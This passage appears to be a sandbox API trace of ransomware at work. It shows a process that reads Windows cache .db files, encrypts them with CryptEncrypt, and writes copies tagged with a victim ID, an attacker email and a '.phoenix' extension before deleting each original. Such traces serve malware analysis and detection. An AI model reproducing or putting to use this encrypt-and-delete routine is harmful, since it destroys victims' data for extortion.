	[0241.218] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4d0, lpOverlapped=0x0) returned 1
	[0241.219] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0241.219] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.219] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0241.219] CryptDestroyKey (hKey=0x151180) returned 1
	[0241.219] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0241.219] CryptDestroyKey (hKey=0x151140) returned 1
	[0241.219] CloseHandle (hObject=0x2cc) returned 1
	[0241.220] CloseHandle (hObject=0x2c8) returned 1
	[0241.220] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{07CE7F5B-73F4-4BAD-B449-5B3E959DEF86}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{07ce7f5b-73f4-4bad-b449-5b3e959def86}.2.ver0x0000000000000001.db")) returned 1
	[0241.221] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0241.221] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000003.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000003.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.222] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1216) returned 1
	[0241.222] CloseHandle (hObject=0x2c8) returned 1
	[0241.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000003.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000003.db")) returned 0x20
	[0241.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000003.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000003.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.222] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000003.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000003.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.222] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.222] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.222] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000003.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000003.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.223] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0241.223] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.223] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4c0, lpOverlapped=0x0) returned 1
	[0241.224] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4d0) returned 1
	[0241.224] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4d0, lpOverlapped=0x0) returned 1
	[0241.225] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0241.225] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.225] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0241.225] CryptDestroyKey (hKey=0x151400) returned 1
	[0241.225] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0241.225] CryptDestroyKey (hKey=0x151380) returned 1
	[0241.225] CloseHandle (hObject=0x2c8) returned 1
	[0241.225] CloseHandle (hObject=0x2cc) returned 1
	[0241.225] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{427A2095-CED1-467F-8647-D13F664E7313}.2.ver0x0000000000000003.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{427a2095-ced1-467f-8647-d13f664e7313}.2.ver0x0000000000000003.db")) returned 1
	[0241.226] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0241.226] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{599D1469-EB61-443B-9556-EE3AA24908DA}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{599d1469-eb61-443b-9556-ee3aa24908da}.2.ver0x0000000000000001.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.227] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1048) returned 1
	[0241.227] CloseHandle (hObject=0x2cc) returned 1
	[0241.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{599D1469-EB61-443B-9556-EE3AA24908DA}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{599d1469-eb61-443b-9556-ee3aa24908da}.2.ver0x0000000000000001.db")) returned 0x20
	[0241.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{599D1469-EB61-443B-9556-EE3AA24908DA}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{599d1469-eb61-443b-9556-ee3aa24908da}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.227] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{599D1469-EB61-443B-9556-EE3AA24908DA}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{599d1469-eb61-443b-9556-ee3aa24908da}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.227] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.227] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.227] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{599D1469-EB61-443B-9556-EE3AA24908DA}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{599d1469-eb61-443b-9556-ee3aa24908da}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.286] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0241.287] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.287] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x418, lpOverlapped=0x0) returned 1
	[0241.288] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x420, dwBufLen=0x420 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x420) returned 1
	[0241.288] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x420, lpOverlapped=0x0) returned 1
	[0241.290] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0241.291] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.291] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0241.291] CryptDestroyKey (hKey=0x151380) returned 1
	[0241.291] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0241.291] CryptDestroyKey (hKey=0x151500) returned 1
	[0241.291] CloseHandle (hObject=0x2cc) returned 1
	[0241.291] CloseHandle (hObject=0x2c8) returned 1
	[0241.291] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{599D1469-EB61-443B-9556-EE3AA24908DA}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{599d1469-eb61-443b-9556-ee3aa24908da}.2.ver0x0000000000000001.db")) returned 1
	[0241.292] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0241.292] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{5B6DB04B-B054-4120-9EE4-33A79FF53BC3}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{5b6db04b-b054-4120-9ee4-33a79ff53bc3}.2.ver0x0000000000000001.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.293] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1048) returned 1
	[0241.293] CloseHandle (hObject=0x2c8) returned 1
	[0241.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{5B6DB04B-B054-4120-9EE4-33A79FF53BC3}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{5b6db04b-b054-4120-9ee4-33a79ff53bc3}.2.ver0x0000000000000001.db")) returned 0x20
	[0241.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{5B6DB04B-B054-4120-9EE4-33A79FF53BC3}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{5b6db04b-b054-4120-9ee4-33a79ff53bc3}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.293] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{5B6DB04B-B054-4120-9EE4-33A79FF53BC3}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{5b6db04b-b054-4120-9ee4-33a79ff53bc3}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.293] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.293] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.293] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{5B6DB04B-B054-4120-9EE4-33A79FF53BC3}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{5b6db04b-b054-4120-9ee4-33a79ff53bc3}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.293] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1516c0) returned 1
	[0241.293] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.293] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x418, lpOverlapped=0x0) returned 1
	[0241.296] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x420, dwBufLen=0x420 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x420) returned 1
	[0241.296] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x420, lpOverlapped=0x0) returned 1
	[0241.297] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1511c0) returned 1
	[0241.297] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.297] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0241.297] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0241.297] WriteFile (in: hFile=0x2cc, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0241.297] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0241.297] CloseHandle (hObject=0x2c8) returned 1
	[0241.297] CloseHandle (hObject=0x2cc) returned 1
	[0241.297] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{5B6DB04B-B054-4120-9EE4-33A79FF53BC3}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{5b6db04b-b054-4120-9ee4-33a79ff53bc3}.2.ver0x0000000000000001.db")) returned 1
	[0241.298] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0241.298] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{696521D6-0C3C-47A9-8A08-62A21834D2F0}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{696521d6-0c3c-47a9-8a08-62a21834d2f0}.2.ver0x0000000000000001.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.299] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1216) returned 1
	[0241.299] CloseHandle (hObject=0x2cc) returned 1
	[0241.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{696521D6-0C3C-47A9-8A08-62A21834D2F0}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{696521d6-0c3c-47a9-8a08-62a21834d2f0}.2.ver0x0000000000000001.db")) returned 0x20
	[0241.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{696521D6-0C3C-47A9-8A08-62A21834D2F0}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{696521d6-0c3c-47a9-8a08-62a21834d2f0}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{696521D6-0C3C-47A9-8A08-62A21834D2F0}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{696521d6-0c3c-47a9-8a08-62a21834d2f0}.2.ver0x0000000000000001.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.299] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.299] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{696521D6-0C3C-47A9-8A08-62A21834D2F0}.2.ver0x0000000000000001.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{696521d6-0c3c-47a9-8a08-62a21834d2f0}.2.ver0x0000000000000001.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.299] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0241.299] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.299] ReadFile (in: hFile=0x2cc, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x4c0, lpOverlapped=0x0) returned 1
	[0241.364] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x4d0) returned 1
	[0241.365] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x4d0, lpOverlapped=0x0) returned 1
	[0241.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151700) returned 1
	[0241.366] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.366] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0241.366] CryptDestroyKey (hKey=0x151700) returned 1
	[0241.366] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0241.366] CryptDestroyKey (hKey=0x151380) returned 1
	[0241.366] CloseHandle (hObject=0x2cc) returned 1
	[0241.366] CloseHandle (hObject=0x2c8) returned 1
	[0241.366] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{696521D6-0C3C-47A9-8A08-62A21834D2F0}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{696521d6-0c3c-47a9-8a08-62a21834d2f0}.2.ver0x0000000000000001.db")) returned 1
	[0241.456] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0241.456] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000014.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000014.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.457] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=286832) returned 1
	[0241.457] CloseHandle (hObject=0x2c8) returned 1
	[0241.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000014.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000014.db")) returned 0x20
	[0241.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000014.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000014.db.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.457] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000014.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000014.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0241.457] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.457] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0241.457] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000014.db.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000014.db.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0241.458] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0241.458] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0241.458] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x46070, lpOverlapped=0x0) returned 1
	[0241.461] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x46080, dwBufLen=0x46080 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x46080) returned 1
